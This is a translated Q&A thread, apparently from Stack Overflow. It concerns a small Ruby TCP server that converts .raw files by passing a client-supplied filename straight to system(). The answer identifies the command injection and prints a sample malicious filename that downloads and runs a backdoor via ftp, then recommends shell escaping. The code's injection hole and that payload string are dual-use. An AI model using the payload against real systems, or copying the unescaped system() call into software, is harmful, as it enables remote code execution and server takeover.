我有一些编程经验,但在程序安全方面我的经验很少。我用 Ruby 编写了一个单服务服务器,它在 Windows XP 计算机上运行,供同一实验室中的 Linux 计算机使用。实验室网络也在防火墙后面,所以那里可能没有问题,但我真的不知道。下面是服务器的代码。它所做的只是获取 .raw 文件,运行 msconvert.exe 将其转换为 mzML 文件,然后发回 mzML 文件。
require 'socket'
server = TCPServer.open(2000)
loop {
client = server.accept
filename = client.gets.chomp
puts "Reading contents of #{filename}.raw"
raw_data = client.gets("\r\r\n\n").chomp("\r\r\n\n")
File.open(filename + ".raw", 'wb') {|out| out.print raw_data}
puts "Converting #{filename}"
#It's lame to have a script run a script, but it's the only way to get this to work.
system "scriptit.bat " + filename + ".raw"
puts "Sending contents of #{filename}.mzML"
client.print IO.read(filename + ".mzML")
client.print "\r\r\n\n"
puts "Done"
client.close # Disconnect from the client
}
我应该做些什么来使其更安全,还是我不需要担心它?
最佳答案
如果攻击者提供 filename
的|| ftp ftp://host/backdoor.exe || backdoor.exe ||
他将能够感染您的服务器。
为了修补此服务器,您需要使用 Escape.shell_command() .
关于ruby - 我应该对小型单一服务服务器采取安全措施吗?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/3152284/